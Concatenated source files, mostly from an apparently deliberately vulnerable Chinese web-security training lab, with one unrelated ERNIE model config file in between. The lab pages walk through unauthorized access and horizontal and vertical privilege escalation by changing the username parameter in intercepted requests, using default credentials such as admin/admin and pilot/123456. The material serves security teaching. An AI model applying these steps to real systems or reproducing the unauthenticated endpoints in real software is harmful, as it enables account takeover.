<input type="password" class="form-control" name="password" id="password" placeholder="Password">
</div>
</div>
<div class="card-footer">
<button type="submit" id="loginButton" class="btn btn-primary" onclick="doLogin()">登录</button>
</div>
</form>
</div>
<div class="card card-primary" id="adminAuthSection">
<div class="card-header">
<h3 class="card-title"><strong>管理员:账户权限管理</strong></h3>
</div>
<div class="card-body">
<table id="adminAuthTable" class="table">
<thead>
<tr>
<th>序号</th>
<th>账号</th>
<th>手机号</th>
<th>PID</th>
<th>UID</th>
<th>操作</th>
</tr>
</thead>
<tbody>
</tbody>
</table>
</div>
</div>
</div>
</div>
<div class="card card-warning card-outline" id="hint">
<div class="card-header">
<h3 class="card-title"><strong>思路提示</strong></h3>
</div>
<div class="card-body">
<div>
<ul><li>管理员?我也能当!不信你抓包看看请求!!</li><br>
<li>如果你会从JS扒接口,那你也是管理员~</li></ul>
</div>
</div>
</div>
<div class="card card-success card-outline" id="writeUp">
<div class="card-header">
<h3 class="card-title"><strong>正确实现</strong></h3>
</div>
<div class="card-body">
<ol start=""><li><p><span>进入漏洞页面,使用管理员账号密码</span><code>admin/admin</code><span>登录,进入</span><strong><span>管理员:账户权限管理</span></strong><span>处:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-1.png" referrerpolicy="no-referrer" alt="l1-1"></div></p></li><li><p><span>抓包,选择</span><code>pilot</code><span>用户,选择其UID为管理员权限,点击</span><strong><span>修改</span></strong><span>按钮:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-2.png" referrerpolicy="no-referrer" alt="l1-2"></div></p></li><li><p><span>发现修改功能接口不存在Cookie认证或Token认证,即没有任何认证便可以修改数据,达到未授权访问标准。</span></p></li><li><p><span>对于该类漏洞挖掘,可以通过Burp插件(如Auth等)或是前台接口来发现,危害极大:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-3.png" referrerpolicy="no-referrer" alt="l1-3"></div></p></li></ol>
</div>
</div>
<div class="card card-info card-outline" id="showSource">
<div class="card-header">
<h3 class="card-title"><strong>源码解析</strong></h3>
</div>
<div class="card-body">
<ul style="margin-bottom: 0;"><li>注意该接口处理信息时,没有接受Token或Cookie对请求者的身份信息进行正确验证,致使未授权漏洞产生:</li></ul>
<div class="card-body" style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sCode-1.html" width="100%" height="445px"></object></div>
</div>
</div>
<div class="card card-orange card-outline" id="repository">
<div class="card-header">
<h3 class="card-title"><strong>知识梳理</strong></h3>
</div>
<div class="card-body">
<div style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sum-1.html" width="100%" height="1210px"></object></div>
</div>
</div>
</div>
</section>
</div>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("权限控制", ["未授权访问"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
<script>
$(document).ready(function() {
$("#adminAuthSection").hide(); // 页面加载时隐藏
});
var loginData = {
username: null,
token: null
};
function doLogin(){
let data = {
username: $("#username")[0].value,
password: $("#password")[0].value,
}
$.post({
url: `http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/auth/l1/login`,
data,
dataType: "json",
success(resp){
if(resp["status"] === "200"){
loginData.token = resp["token"]; // 从响应中获取token
loginData.username = resp["username"]; // 从响应中获取用户名
$("#notice")[0].innerHTML = generateNote("登录成功!欢迎, " + resp["username"]);
fetchAdminAuthData();
} else if(resp["status"] === "405"){
$("#notice")[0].innerHTML = generateNote("登录失败:" + resp["msg"]);
} else if(resp["status"] === "401"){
$("#notice")[0].innerHTML = generateNote("登录失败:" + resp["msg"]);
}
},
error: function(jqXHR, textStatus, errorThrown) {
// 添加错误处理
$("#notice")[0].innerHTML = generateNote("发生错误:" + textStatus + ", " + errorThrown);
}
})
}
function fetchAdminAuthData() {
$.ajax({
url: 'http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/auth/l1/getAuthinfo?n=' + loginData.username,
headers: {
'Authorization': loginData.token
},
success: function(response) {
if (response.status === "403") {
$("#notice")[0].innerHTML = generateNote("Token过期或错误,请重新登录");
} else if (response.status === "400") {
$("#notice")[0].innerHTML = generateNote("账号权限不足,请使用高权限账号登录");
} else if (response.status === "200") {
$("#adminAuthSection").show();
$("#LoginT").hide();
$("#Login").hide();
populateAuthTable(response.msg);
}
},
error: function() {
$("#notice")[0].innerHTML = generateNote("数据获取失败,请稍后重试");
}
});
}
function populateAuthTable(data) {
var tableBody = $("#adminAuthTable tbody");
tableBody.empty();
data.forEach(function(item, index) {
var isDisabled = item.USERNAME === "admin";
var uidSelect = `
<select class="form-control uid-select" name="uid" style="width: 150px;" ${isDisabled ? "disabled" : ""}>
<option value="1" ${item.UID === 1 ? "selected" : ""}>管理员权限</option>
<option value="0" ${item.UID === 0 ? "selected" : ""}>用户权限</option>
</select>
`;
var row = `
<tr>
<td style="font-size: 21px">${index + 1}</td>
<td style="font-size: 21px">${item.USERNAME}</td>
<td style="font-size: 21px">${item.PHONE}</td>
<td style="font-size: 21px">${item.PID}</td>
<td>${uidSelect}</td>
<td>
<button class="btn btn-warning confirm-btn" data-username="${item.USERNAME}" ${isDisabled ? "disabled" : ""}>修改</button>
</td>
</tr>
`;
tableBody.append(row);
});
// 给每个确认按钮添加点击事件
$('.confirm-btn').click(function() {
var username = $(this).data('username');
var selectedUid = $(this).closest('tr').find('.uid-select').val();
if (confirm('是否修改用户 ' + username + ' 的权限?')) {
modifyAuth(username, selectedUid);
}
});
}
function modifyAuth(username, uid) {
$.post({
url: 'http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/auth/l1/modifyAuth',
data: { username: username, uid: uid },
success: function(response) {
if(response.status === "200") {
$(document).Toasts('create', {
class: 'bg-success',
title: 'SUCCESS',
autohide: true,
delay: 4000,
body: '修改成功!'
});
fetchAdminAuthData();
} else if(response.status === "405") {
$(document).Toasts('create', {
class: 'bg-warning',
title: 'WARNING',
autohide: true,
delay: 4000,
body: '系统默认账号不能修改!'
});
} else {
$(document).Toasts('create', {
class: 'bg-danger',
title: 'ERROR',
autohide: true,
delay: 4000,
body: ' 修改失败,请稍后重试…… '
});
}
},
error: function() {
$(document).Toasts('create', {
class: 'bg-danger',
title: 'ERROR',
autohide: true,
delay: 4000,
body: ' 修改失败,请稍后重试…… '
});
}
});
}
</script>
</body>
</html> |
2740908911/Pilot-Web | 11,001 | pilot-client/pages/authority/horizontal.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>权限控制-水平越权</title>
<link rel="stylesheet" href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div id="notice"></div>
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>水平越权</strong></h3>
</div>
<div class="card-body">
<div class="card card-primary">
<div class="card-header" id="LoginT">
<h3 class="card-title">后台登录</h3>
</div>
<form action="" onsubmit="return false" id="Login">
<div class="card-body">
<div class="form-group">
<label for="username">用户名</label>
<input type="text" class="form-control" name="username" id="username" placeholder="Enter username or phone number">
</div>
<div class="form-group">
<label for="password">密码</label>
<input type="password" class="form-control" name="password" id="password" placeholder="Password">
</div>
</div>
<div class="card-footer">
<button type="submit" id="loginButton" class="btn btn-primary" onclick="doLogin()">登录</button>
</div>
</form>
</div>
<div class="card card-primary">
<div class="card-header" id="UserInfoTitle" style="display: none;">
<h3 class="card-title">用户信息</h3>
</div>
<div class="card-body" id="UserInfo" style="display: none;">
<div class="form-group">
<label for="displayPid">工号</label>
<input type="text" class="form-control" id="displayPid" readonly>
</div>
<div class="form-group">
<label for="displayUsername">用户名</label>
<input type="text" class="form-control" id="displayUsername" readonly>
</div>
<div class="form-group">
<label for="displayPhone">手机号</label>
<input type="tel" class="form-control" id="displayPhone">
</div>
<div class="form-group">
<label for="displayQQ">QQ号</label>
<input type="text" class="form-control" id="displayQQ">
</div>
<button id="updateUserInfoButton" class="btn btn-primary">确认修改</button>
<button id="logoutButton" class="btn btn-primary">返回登录</button>
</div>
</div>
</div>
</div>
<div class="card card-warning card-outline" id="hint">
<div class="card-header">
<h3 class="card-title"><strong>思路提示</strong></h3>
</div>
<div class="card-body">
<ul><li>嗯?谁改我的信息了!!!</li><br>
<li>fanqie和pilot是同级别用户~</li></ul>
</div>
</div>
<div class="card card-success card-outline" id="writeUp">
<div class="card-header">
<h3 class="card-title"><strong>正确实现</strong></h3>
</div>
<div class="card-body">
<ol start=""><li><p><span>选取两个权限相同的账号</span><code>pilot</code><span>和</span><code>fanqie</code><span>,登录</span><code>pilot/123456</code><span>:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-1.png" referrerpolicy="no-referrer" alt="l2-1"></div></p></li><li><p><span>抓包,输入手机号为:10010,点击修改即可修改自己的账号信息:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-2.png" referrerpolicy="no-referrer" alt="l2-2"></div></p></li><li><p><span>在不改变Token的情况下,将</span><code>username</code><span>参数修改为</span><code>fanqie</code><span>,尝试修改其他用户手机号:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-3.png" referrerpolicy="no-referrer" alt="l2-3"></div></p></li><li><p><span>登录</span><code>fanqie</code><span>账号可以发现,信息已被水平越权修改:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-4.png" referrerpolicy="no-referrer" alt="l2-4"></div></p></li></ol>
</div>
</div>
<div class="card card-info card-outline" id="showSource">
<div class="card-header">
<h3 class="card-title"><strong>源码解析</strong></h3>
</div>
<div class="card-body">
<ul style="margin-bottom: 0;"><li>水平越权的产生大多因为在校验权限时,代码逻辑出现错误或参数判断错误。本题通过UID无法正确验证用户身份信息:</li></ul>
<div class="card-body" style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sCode-2.html" width="100%" height="750px"></object></div>
</div>
</div>
<div class="card card-orange card-outline" id="repository">
<div class="card-header">
<h3 class="card-title"><strong>知识梳理</strong></h3>
</div>
<div class="card-body">
<div style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sum-2.html" width="100%" height="1290px"></object></div>
</div>
</div>
</div>
</section>
</div>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("权限控制", ["水平越权"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
<script>
var loginData = {
username: null,
token: null
};
function doLogin(){
let data = {
username: $("#username")[0].value,
password: $("#password")[0].value,
}
$.post({
url: `http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/auth/l2/login`,
data,
dataType: "json",
success(resp){
if(resp["status"] === "200"){
loginData.token = resp["token"]; // 从响应中获取token
loginData.username = resp["username"]; // 从响应中获取用户名
$("#notice")[0].innerHTML = generateNote("登录成功!欢迎, " + resp["username"]);
fetchUserInfoData();
} else if(resp["status"] === "405"){
$("#notice")[0].innerHTML = generateNote("登录失败:" + resp["msg"]);
} else if(resp["status"] === "401"){
$("#notice")[0].innerHTML = generateNote("登录失败:" + resp["msg"]);
}
},
error: function(jqXHR, textStatus, errorThrown) {
// 添加错误处理
$("#notice")[0].innerHTML = generateNote("发生错误:" + textStatus + ", " + errorThrown);
}
})
}
function fetchUserInfoData() {
$.ajax({
url: 'http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/auth/l2/getUserinfo?n=' + loginData.username,
headers: {
'Authorization': loginData.token
},
success: function(response) {
if (response.status === "403") {
$("#notice")[0].innerHTML = generateNote("Token过期或错误,请重新登录");
} else if (response.status === "200") {
$("#LoginT").hide();
$("#Login").hide();
populateUserTable(response.msg);
}
},
error: function() {
$("#notice")[0].innerHTML = generateNote("数据获取失败,请稍后重试");
}
});
}
function populateUserTable(data) {
$("#UserInfoTitle").show();
$("#UserInfo").show();
var userData = data[0];
// 填充用户数据到表单中
$("#displayPid").val(userData.PID); // 工号
$("#displayUsername").val(userData.USERNAME); // 用户名
$("#displayPhone").val(userData.PHONE); // 手机号
$("#displayQQ").val(userData.QQ); // QQ号
}
function updateUserInfo() {
// 从输入字段中收集数据
let updatedData = {
username: $("#displayUsername").val(),
phone: $("#displayPhone").val(),
qq: $("#displayQQ").val()
};
// 发送POST请求到服务器更新用户信息
$.post({
url: 'http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/auth/l2/modifyUserInfo', // 修改为您的API端点
headers: {
'Authorization': loginData.token // 使用登录后获取的token
},
data: updatedData, // 发送更新的用户信息
dataType: "json",
success: function(response) {
// 根据返回的状态处理响应
if (response.status === "200") {
$(document).Toasts('create', {
class: 'bg-success',
title: 'SUCCESS',
autohide: true,
delay: 4000,
body: '修改成功!'
});
fetchUserInfoData();
} else if (response.status === "403" || response.status === "400") {
$(document).Toasts('create', {
class: 'bg-warning',
title: 'WARNING',
autohide: true,
delay: 4000,
body: '权限认证失败或权限不足,请重新登录!'
});
} else {
$(document).Toasts('create', {
class: 'bg-danger',
title: 'ERROR',
autohide: true,
delay: 4000,
body: ' 修改失败,请稍后重试…… '
});
}
},
error: function() {
$(document).Toasts('create', {
class: 'bg-danger',
title: 'ERROR',
autohide: true,
delay: 4000,
body: ' 修改失败,请稍后重试…… '
});
}
});
}
// 在文档加载完毕后绑定按钮点击事件
$(document).ready(function() {
// 绑定更新按钮的点击事件
$("#updateUserInfoButton").click(function() {
updateUserInfo(); // 调用更新用户信息的函数
});
});
function logout() {
// 清除登录数据
loginData.username = null;
loginData.token = null;
// 清空表单输入
$("#username").val('');
$("#password").val('');
// 显示登录表单
$("#LoginT").show();
$("#Login").show();
// 隐藏用户信息表单
$("#UserInfo").hide();
$("#UserInfoTitle").hide();
// 清除通知
$("#notice").html('');
}
// 在文档加载完毕后绑定注销按钮的点击事件
$(document).ready(function() {
// 绑定确认修改按钮的点击事件
$("#updateUserInfoButton").click(function() {
updateUserInfo();
});
// 绑定注销按钮的点击事件
$("#logoutButton").click(function() {
logout();
});
});
</script>
</body>
</html> |
27182812/ChatGLM-LLaMA-chinese-insturct | 8,884 | src/transformers/models/ernie/configuration_ernie.py | # coding=utf-8
# Copyright 2022 The Google AI Language Team Authors and The HuggingFace Inc. team.
# Copyright (c) 2018, NVIDIA CORPORATION. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
""" ERNIE model configuration"""
from collections import OrderedDict
from typing import Mapping
from ...configuration_utils import PretrainedConfig
from ...onnx import OnnxConfig
from ...utils import logging
logger = logging.get_logger(__name__)
ERNIE_PRETRAINED_CONFIG_ARCHIVE_MAP = {
"nghuyong/ernie-1.0-base-zh": "https://huggingface.co/nghuyong/ernie-1.0-base-zh/resolve/main/config.json",
"nghuyong/ernie-2.0-base-en": "https://huggingface.co/nghuyong/ernie-2.0-base-en/resolve/main/config.json",
"nghuyong/ernie-2.0-large-en": "https://huggingface.co/nghuyong/ernie-2.0-large-en/resolve/main/config.json",
"nghuyong/ernie-3.0-base-zh": "https://huggingface.co/nghuyong/ernie-3.0-base-zh/resolve/main/config.json",
"nghuyong/ernie-3.0-medium-zh": "https://huggingface.co/nghuyong/ernie-3.0-medium-zh/resolve/main/config.json",
"nghuyong/ernie-3.0-mini-zh": "https://huggingface.co/nghuyong/ernie-3.0-mini-zh/resolve/main/config.json",
"nghuyong/ernie-3.0-micro-zh": "https://huggingface.co/nghuyong/ernie-3.0-micro-zh/resolve/main/config.json",
"nghuyong/ernie-3.0-nano-zh": "https://huggingface.co/nghuyong/ernie-3.0-nano-zh/resolve/main/config.json",
"nghuyong/ernie-gram-zh": "https://huggingface.co/nghuyong/ernie-gram-zh/resolve/main/config.json",
"nghuyong/ernie-health-zh": "https://huggingface.co/nghuyong/ernie-health-zh/resolve/main/config.json",
}
class ErnieConfig(PretrainedConfig):
r"""
This is the configuration class to store the configuration of a [`ErnieModel`] or a [`TFErnieModel`]. It is used to
instantiate a ERNIE model according to the specified arguments, defining the model architecture. Instantiating a
configuration with the defaults will yield a similar configuration to that of the ERNIE
[nghuyong/ernie-3.0-base-zh](https://huggingface.co/nghuyong/ernie-3.0-base-zh) architecture.
Configuration objects inherit from [`PretrainedConfig`] and can be used to control the model outputs. Read the
documentation from [`PretrainedConfig`] for more information.
Args:
vocab_size (`int`, *optional*, defaults to 30522):
Vocabulary size of the ERNIE model. Defines the number of different tokens that can be represented by the
`inputs_ids` passed when calling [`ErnieModel`] or [`TFErnieModel`].
hidden_size (`int`, *optional*, defaults to 768):
Dimensionality of the encoder layers and the pooler layer.
num_hidden_layers (`int`, *optional*, defaults to 12):
Number of hidden layers in the Transformer encoder.
num_attention_heads (`int`, *optional*, defaults to 12):
Number of attention heads for each attention layer in the Transformer encoder.
intermediate_size (`int`, *optional*, defaults to 3072):
Dimensionality of the "intermediate" (often named feed-forward) layer in the Transformer encoder.
hidden_act (`str` or `Callable`, *optional*, defaults to `"gelu"`):
The non-linear activation function (function or string) in the encoder and pooler. If string, `"gelu"`,
`"relu"`, `"silu"` and `"gelu_new"` are supported.
hidden_dropout_prob (`float`, *optional*, defaults to 0.1):
The dropout probability for all fully connected layers in the embeddings, encoder, and pooler.
attention_probs_dropout_prob (`float`, *optional*, defaults to 0.1):
The dropout ratio for the attention probabilities.
max_position_embeddings (`int`, *optional*, defaults to 512):
The maximum sequence length that this model might ever be used with. Typically set this to something large
just in case (e.g., 512 or 1024 or 2048).
type_vocab_size (`int`, *optional*, defaults to 2):
The vocabulary size of the `token_type_ids` passed when calling [`ErnieModel`] or [`TFErnieModel`].
task_type_vocab_size (`int`, *optional*, defaults to 3):
The vocabulary size of the `task_type_ids` for ERNIE2.0/ERNIE3.0 model
use_task_id (`bool`, *optional*, defaults to `False`):
Whether or not the model support `task_type_ids`
initializer_range (`float`, *optional*, defaults to 0.02):
The standard deviation of the truncated_normal_initializer for initializing all weight matrices.
layer_norm_eps (`float`, *optional*, defaults to 1e-12):
The epsilon used by the layer normalization layers.
position_embedding_type (`str`, *optional*, defaults to `"absolute"`):
Type of position embedding. Choose one of `"absolute"`, `"relative_key"`, `"relative_key_query"`. For
positional embeddings use `"absolute"`. For more information on `"relative_key"`, please refer to
[Self-Attention with Relative Position Representations (Shaw et al.)](https://arxiv.org/abs/1803.02155).
For more information on `"relative_key_query"`, please refer to *Method 4* in [Improve Transformer Models
with Better Relative Position Embeddings (Huang et al.)](https://arxiv.org/abs/2009.13658).
is_decoder (`bool`, *optional*, defaults to `False`):
Whether the model is used as a decoder or not. If `False`, the model is used as an encoder.
use_cache (`bool`, *optional*, defaults to `True`):
Whether or not the model should return the last key/values attentions (not used by all models). Only
relevant if `config.is_decoder=True`.
classifier_dropout (`float`, *optional*):
The dropout ratio for the classification head.
Examples:
```python
>>> from transformers import ErnieConfig, ErnieModel
>>> # Initializing a ERNIE nghuyong/ernie-3.0-base-zh style configuration
>>> configuration = ErnieConfig()
>>> # Initializing a model (with random weights) from the nghuyong/ernie-3.0-base-zh style configuration
>>> model = ErnieModel(configuration)
>>> # Accessing the model configuration
>>> configuration = model.config
```"""
model_type = "ernie"
def __init__(
self,
vocab_size=30522,
hidden_size=768,
num_hidden_layers=12,
num_attention_heads=12,
intermediate_size=3072,
hidden_act="gelu",
hidden_dropout_prob=0.1,
attention_probs_dropout_prob=0.1,
max_position_embeddings=512,
type_vocab_size=2,
task_type_vocab_size=3,
use_task_id=False,
initializer_range=0.02,
layer_norm_eps=1e-12,
pad_token_id=0,
position_embedding_type="absolute",
use_cache=True,
classifier_dropout=None,
**kwargs,
):
super().__init__(pad_token_id=pad_token_id, **kwargs)
self.vocab_size = vocab_size
self.hidden_size = hidden_size
self.num_hidden_layers = num_hidden_layers
self.num_attention_heads = num_attention_heads
self.hidden_act = hidden_act
self.intermediate_size = intermediate_size
self.hidden_dropout_prob = hidden_dropout_prob
self.attention_probs_dropout_prob = attention_probs_dropout_prob
self.max_position_embeddings = max_position_embeddings
self.type_vocab_size = type_vocab_size
self.task_type_vocab_size = task_type_vocab_size
self.use_task_id = use_task_id
self.initializer_range = initializer_range
self.layer_norm_eps = layer_norm_eps
self.position_embedding_type = position_embedding_type
self.use_cache = use_cache
self.classifier_dropout = classifier_dropout
class ErnieOnnxConfig(OnnxConfig):
@property
def inputs(self) -> Mapping[str, Mapping[int, str]]:
if self.task == "multiple-choice":
dynamic_axis = {0: "batch", 1: "choice", 2: "sequence"}
else:
dynamic_axis = {0: "batch", 1: "sequence"}
return OrderedDict(
[
("input_ids", dynamic_axis),
("attention_mask", dynamic_axis),
("token_type_ids", dynamic_axis),
("task_type_ids", dynamic_axis),
]
)
|
2740908911/Pilot-Web | 2,758 | pilot-client/pages/authority/index.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>权限控制-概述</title>
<link rel="stylesheet"
href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>概述</strong></h3>
</div>
<div class="card-body">
<div class="markdown prose w-full break-words dark:prose-invert light">
<p>权限控制篇整合了两大类漏洞:越权漏洞和未授权漏洞,下面将分别介绍:</p>
<p>越权漏洞是指应用程序未对当前用户操作的身份权限进行严格校验,导致用户可以操作超出自己管理权限范围的功能,从而操作一些非该用户可以操作的行为。简单来说,就是攻击者可以做一些本来不该他们做的事情(增删改查)。</p>
<p>越权漏洞通常可以通过以下几种方式进行分类:</p>
<ol>
<li><p>横向越权:攻击者利用受害者账号的权限来访问其他同级别账号的数据或系统资源。</p></li>
<li><p>纵向越权:攻击者利用低权限账号或匿名账号通过漏洞攻击系统,提升自己的权限,从而访问高权限账号的数据或系统资源。</p></li>
</ol>
<p>未授权漏洞是指在未登录且获知业务功能页面的访问地址前提下,可直接操作该页面下的特定功能。与越权不同,未授权访问漏洞集中在“未经授权的访问”,而越权漏洞关注于“超出已授权的访问范围”。</p>
<p>需要注意的是,未授权访问漏洞和越权漏洞都涉及到安全权限控制的问题,但它们在细节上有所不同。</p>
</div>
</div>
</div>
</div>
</section>
</div>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("权限控制", ["概述"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
</body>
</html> |
2740908911/Pilot-Web | 11,039 | pilot-client/pages/authority/vertical.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>权限控制-垂直越权</title>
<link rel="stylesheet" href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div id="notice"></div>
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>垂直越权</strong></h3>
</div>
<div class="card-body">
<div class="card card-primary">
<div class="card-header" id="LoginT">
<h3 class="card-title">后台登录</h3>
</div>
<form action="" onsubmit="return false" id="Login">
<div class="card-body">
<div class="form-group">
<label for="username">用户名</label>
<input type="text" class="form-control" name="username" id="username" placeholder="Enter username or phone number">
</div>
<div class="form-group">
<label for="password">密码</label>
<input type="password" class="form-control" name="password" id="password" placeholder="Password">
</div>
</div>
<div class="card-footer">
<button type="submit" id="loginButton" class="btn btn-primary" onclick="doLogin()">登录</button>
</div>
</form>
</div>
<div class="card card-primary">
<div class="card-header" id="UserInfoTitle" style="display: none;">
<h3 class="card-title">用户信息</h3>
</div>
<div class="card-body" id="UserInfo" style="display: none;">
<div class="form-group">
<label for="displayPid">工号</label>
<input type="text" class="form-control" id="displayPid" readonly>
</div>
<div class="form-group">
<label for="displayUsername">用户名</label>
<input type="text" class="form-control" id="displayUsername" readonly>
</div>
<div class="form-group">
<label for="displayPhone">手机号</label>
<input type="tel" class="form-control" id="displayPhone">
</div>
<div class="form-group">
<label for="displayQQ">QQ号</label>
<input type="text" class="form-control" id="displayQQ">
</div>
<button id="updateUserInfoButton" class="btn btn-primary">确认修改</button>
<button id="logoutButton" class="btn btn-primary">返回登录</button>
</div>
</div>
</div>
</div>
<div class="card card-warning card-outline" id="hint">
<div class="card-header">
<h3 class="card-title"><strong>思路提示</strong></h3>
</div>
<div class="card-body">
<div>
<ul><li>嗯?谁改我的信息了!!!</li><br>
<li>admin是默认管理员用户~</li></ul>
</div>
</div>
</div>
<div class="card card-success card-outline" id="writeUp">
<div class="card-header">
<h3 class="card-title"><strong>正确实现</strong></h3>
</div>
<div class="card-body">
<ol start=""><li><p><span>选取两个权限不同的账号</span><code>admin</code><span>和</span><code>pilot</code><span>,登录</span><code>pilot/123456</code><span>:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l3-1.png" referrerpolicy="no-referrer" alt="l3-1"></div></p></li><li><p><span>抓包,输入手机号为:10086,点击修改即可修改自己的账号信息:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l3-2.png" referrerpolicy="no-referrer" alt="l3-2"></div></p></li><li><p><span>在不改变Token的情况下,将</span><code>username</code><span>参数修改为</span><code>admin</code><span>,尝试修改高权限用户手机号:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l3-3.png" referrerpolicy="no-referrer" alt="l3-3"></div></p></li><li><p><span>登录</span><code>admin</code><span>账号可以发现,信息已被垂直越权修改:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l3-4.png" referrerpolicy="no-referrer" alt="l3-4"></div></p></li></ol>
</div>
</div>
<div class="card card-info card-outline" id="showSource">
<div class="card-header">
<h3 class="card-title"><strong>源码解析</strong></h3>
</div>
<div class="card-body">
<ul style="margin-bottom: 0;"><li>垂直越权的产生大多因为在校验权限时,代码逻辑出现错误或参数判断错误。本题的身份校验逻辑有误:</li></ul>
<div class="card-body" style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sCode-3.html" width="100%" height="840px"></object></div>
</div>
</div>
<div class="card card-orange card-outline" id="repository">
<div class="card-header">
<h3 class="card-title"><strong>知识梳理</strong></h3>
</div>
<div class="card-body">
<div style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sum-3.html" width="100%" height="1320px"></object></div>
</div>
</div>
</div>
</section>
</div>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("权限控制", ["垂直越权"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
<script>
var loginData = {
username: null,
token: null
};
function doLogin(){
let data = {
username: $("#username")[0].value,
password: $("#password")[0].value,
}
$.post({
url: `http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/auth/l3/login`,
data,
dataType: "json",
success(resp){
